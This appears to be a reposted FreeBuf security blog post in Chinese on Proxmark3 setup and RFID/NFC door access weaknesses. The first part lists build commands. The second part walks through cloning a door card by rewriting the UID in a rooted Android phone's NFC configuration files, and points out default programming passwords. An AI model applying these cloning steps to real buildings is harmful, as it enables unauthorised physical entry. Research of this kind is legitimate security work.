本文以kali为例,介绍如何在Linux中搭建PM3的工作环境。

apt-get update
apt-get install build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config subversion
svn checkout http://proxmark3.googlecode.com/svn/trunk proxmark-trunk  //由于这里是通过svn从谷歌克隆代码,执行这条命令的时候记得翻墙

svn checkout http://proxmark3.googlecode.com/svn/trunk proxmark-trunk

cd proxmark-trunk/client
make

cd proxmark-trunk/client

make

./proxmark3 /dev/ttyACM0 //进入PM3的工作终端
hw tune  //测试设备

proxmark3

0x02 结语

环境搭建完毕,正如文章开头说到:PM3可以在水卡、公交卡、门禁卡等一系列RFID\NFC卡片和与其相对应的机器读取、数据交换的时候进行嗅探攻击,并利用嗅探到的数据通过XOR校验工具把扇区的密钥计算出来。先上两张图片:

读取银行卡示例

读取

本文先写到这里,后续会有RFID破解的案例分享,敬请期待。

扩展阅读

RFID Hacking:看我如何突破门禁潜入FreeBuf大本营

资料下载

Proxmark-Trunk代码包http://pan.baidu.com/s/1dFyOFjN

PM3固件&学习资料:http://pan.baidu.com/s/1dFFJDdf

0x03 参考

https://www.trustwave.com/Resources/SpiderLabs-Blog/Proxmark-3,-now-with-more-Android/

www.proxmark.org

Google Play

RadioWar

Defcon23 RFID Hacking演讲Paper

RFID Cooking with Mifare Classic

*作者:雪碧@0xroot ,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文:http://www.freebuf.com/news/100925.html

RFID Hacking:看我如何突破门禁潜入FreeBuf大本营

本文原创作者:雪碧0xroot

https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=q0168hd3qxj&auto=0

某天,偶然间拿到了FreeBuf Pnig0s同学的工卡信息,终于有机会去做一些羞羞的事情了ಥ_ಥ……

事了拂衣去,深藏功与名……

引子

以下故事纯属虚构,如有雷同,纯属巧合。

我应聘了一个大型IT公司的"网络攻击研究部经理" 职务,面试官问我: 你觉得自己为什么适合这份工作? 我:我黑进你们的系统,给我自己发了面试通知。

很经典的一个视频:黑客通过入侵大楼灯光控制系统,打起了游戏

http://www.56.com/iframe/NjYxNDg2NzU

最后上个真实的案例:线上的网络安全 VS 线下的物理安全

前几天媒体曝出:Dr.Web因揭露ATM木马遭报复,实验室两次遭燃烧弹攻击 @网路游侠 戏称:你线上查杀我的木马,我线下烧你的实验室… 防恶意软件的战争终于实现了o2o

什么时候安全从业者也成了高危职业人群 -。-!看到这里,不禁让人想起一句话:又到了毕业找工作的时候了,好多朋友打电话向我咨询要不要让孩子X(xue 学)X(I 挨)X(T 踢),作为一个业内资深人士,我觉得这不能一概而论。要辩证的看这个问题,视孩子具体的情况,具体问题具体分析。譬如说,如果是亲生的,就尽量不要。

0x00 背景

2008年,德国研究员亨里克·普洛茨和美国弗吉尼亚大学计算机科学在读博士卡尔斯滕·诺尔利用电脑成功破解了恩智浦半导体的Mifare经典芯片(简称MI芯片)的安全算法。他们所破解的MI芯片的安全算法,正是目前全世界应用最广泛的非接触IC卡的安全算法!

市场接受度较高的M1卡被破解之后,国内IC卡标准一度陷入混乱,这种现象直到现在也并未完全解决。

以当前流行门禁读卡器的算法区分,除了Mifare1之外,市场上主要还有DES、3DES、AES、SM1、SM7等。其中DES为美国IBM公司研制,是美国数据加密标准,3DES则为其升级版本;AES为美国联邦政府采用的一种区块加密标准,是密码学中的高级加密标准。

目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡,没有去进行加密认证或开发专用的密钥,其安全隐患远比Mifare卡的破解更危险,非法破解的人士只需采用专业的技术手段就可以完成破解过程。

导致目前国内大多数门禁产品都不具备安全性原因之一,是因为早期门禁产品的设计理论是从国外引进过来的,国内大部分厂家长期以来延用国外做法,采用ID和IC卡的只读特性进行身份识别使用,很少关注卡片与门禁机具间的加密认证,缺少安全密钥体系的设计,而ID卡是很容易可复制的载体,导致此类门禁很容易在极短时间内被破解和复制。

0x01 NFC概要

NFC是英文Near Field Communication 的缩写,中文译为近距离无线通讯技术(ISO 18092)。最初是由飞利浦公司和索尼公司共同开发的。

NFC是一种非接触式识别和互联技术,可以在移动设备、消费类电子产品、PC和智能控件工具间进行近距离(小于四厘米 )无线通信。NFC提供了一种简单、触控式的解决方案,可以让消费者简单直观的交换信息、访问内容与服务。手机用户凭着配置了支付功能的手机就可以行遍全国:他们的手机可以用作机场登机验证、大厦的门禁钥匙、交通一卡通、信用卡、支付卡等等

NFC与RFID

RFID:射频识别技术,它主要是通过无线电讯号识别特定目标,并可读写数据(单向的读取)。   
RFID系统的频率分低频、高频、超高频和微波几种,其各自的工作频率如下:
低频(LF)     125~134kHz;
高频(HF)     13.56MHz;
超高频(UHF)   860~960MHz;
微波(MW)     2.45GHz和5.8GHz。

RFID无源卡按载波频率分为:低频、中频和高频射频卡。
低频射频卡:频率主要包括125kHz和134kHz两种,主要用于短距离、低成本的应用中,如多数的门禁控制、校园卡、货物跟踪等。
中频射频卡:频率主要为13.56MHz,主要用于门禁控制和需传送大量数据的应用系统。
高频射频卡:频率主要包括433MHz、915MHz、2.45GHz、5.8GHz等,可应用于需要较长的读写距离和高读写速度的场合,在火车监控、高速公路收费等系统中有广泛应用。

NFC是近距离无线通讯技术,芯片具有相互通信能力,并有计算能力。NFC可以看作是RFID的子集,用的是RFID的高频(13.56MHz)的标准,与RFID不同的是NFC的通讯是双向过程。

0x02 门禁系统解决方案

门禁系统由门禁考勤管理软件(PC端)、门禁读头、门禁控制器、电锁、门禁卡(NFC手机)组成

0x03 门禁卡类型

智能卡一般可分为接触式、非接触式。
接触式智能卡读卡器必须要有插卡槽和触点。以供卡片插入接触电源,有使用寿命短,系统难以维护,基础设施投入大等缺点,但发展较早。
非接触式智能卡又称射频卡,是近几年发展起来的新技术。它成功地将射频识别(RFID)技术和EM卡技术结合起来,将具有微处理器的集成电路芯片和天线封装于塑料基片之中。读写器采用兆频段及磁感应技术,通过无线方式对卡片中的信息进行读写并采用高速率的半双工通信协议。其优点是使用寿命长,应用范围广,操作方便、快捷,但也存在成本高,读写设备复杂,易受电磁干扰等缺点。目前,非接触式卡片的有效读取距离一般为50~200mm,最远读取距离可达数米(应用在停车场管理系统)。

门禁卡(属于智能IC卡)主要是如下几种卡:EM卡、M1卡、TM卡和CPU卡等等。
IC卡:集成电路卡,是继磁卡之后出现的又一种新型信息工具。在有些国家和地区也称智能卡(smart card)、智慧卡(intelligent card)、微电路卡(microcircuit card)或微芯片卡。目前IC卡已经十分广泛地应用于包括金融、交通、社保等。
IC卡中有一种只读卡(只能通过读卡器读出卡号(ID号),而且卡号是固化(不能修改)的,不能往卡的分区再写数据,这种非接触卡我们把它称为ID卡。

从设备与卡的算法来区别

M1卡:存储了ID号,可读写数据,M1卡发一个数据到设备,设备再传一个数据给M1卡确认,再进行交易或身份认证;
CPU卡:有操作系统,可存储数据,也有自己的ID号;(既然提到了ID号,那我们再来说一下ID卡)
ID卡:只存储了ID号,设备识别ID号,没有算法可言,容易复制,安全性低;


0x04 小区门禁

(小区非接触型门禁一体机面板正面)

(小区非接触型门禁一体机面板背面)

工作频率:

13.56MHz

门禁接线图

NFC门禁潜在风险:

风险1:门禁使用初始密码(弱口令) 轻易进入编程模式

有些小区的物业管理和服务器管理员一样,都存在安全意识不足现象而使用初始密码或者使用一些弱口令的问题。通过这一图片我们可以发现:进入编程模式以后,我们可以轻易地进行一些加卡、删卡操作。

风险2:门禁只验证门禁卡ID号,导致门禁卡被轻易伪造、复制

白卡:NFC卡片生产商没有按照国家标准进行生产(国家标准要求正规厂家生产的每一张ID卡都必须写入唯一的物理号,不能重复。但一些非正规厂家生产的白卡根本就没有写入物理号,进入市场后,商家就可以随时“复制”写入)。

M1卡虽然可以加密,文章开头也提及:早在2008年就被宣布可以被破解。虽然M1卡可以对存储信息进行加密,但复制过程并不需要解密,两张卡之间复制信息,就像电脑之间用U盘拷贝资料一样,读取和写入都无需破解,复制的卡一样可以使用。

前段时间闲得无聊写了一篇《如何用神奇的build.prop低调奢华有内涵地装X》,通过这类文章,不难得出:root以后,安卓手机的很多系统参数都可以通过修改系统配置文件来实现,其实NFC也一样。现在很多安卓机都支持NFC功能(such as:小米、锤子、LG、HTC、一加),文章开头我们提到:目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡,那么我们也可以修改手机NFC的配置文件来改变手机NFC的ID值以此来伪造(模拟)门禁卡。《如何利用Nexus 5伪造一张门禁卡》一文也充分地说明了这种方法地可行性,

未修改手机配置文件,去刷门禁是这样的:(此次使用的手机型号为LG G3)

错误码030201

通过对手机NFC的读取得知手机的ID(固定ID)为

01:02:03:04 
标签ID(hex)01 02 03 04
标签ID(dec)67305985

读取一张有效的门禁卡:

手机和门禁卡的ID(hex)都为8位;

手机开启SSHD服务(可使用app:SSHDroid)

FTP登陆(手机处于电脑同一局域网),下载系统的NFC配置文件libnfc-brcm.conf 、libnfc-nxp-lg.conf、libnfc-nxp.conf(上传下载的过程中建议使用Root File Explorer RE文件管理器将系统目录挂载为读写

数据分析:通过对系统配置文件代码、参数的审计发现libnfc-brcm.conf 、libnfc-nxp-lg.conf、libnfc-nxp.conf里边的一些参数为十六进制:

libnfc-nxp-lg.conf、libnfc-nxp.conf两个配置文件都存在“01, 02, 03, 04,”

参数定位

bingo,直接改为有效门禁的hex ID,然后再使用FTP将修改后的文件上传(建议将原始文件改为xx.bak,系统文件错误修改造成的问题可通过恢复这几个文件解决)。

最后reboot手机,开启手机NFC去门禁刷卡验证。

文章里边提及的App和NFC相关的一些工具:链接: http://pan.baidu.com/s/1sj45hLV 密码: 788j

*参考:百度、谷歌、wiki,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

本文首发于FreeBuf

原文地址:http://www.freebuf.com/news/special/80786.html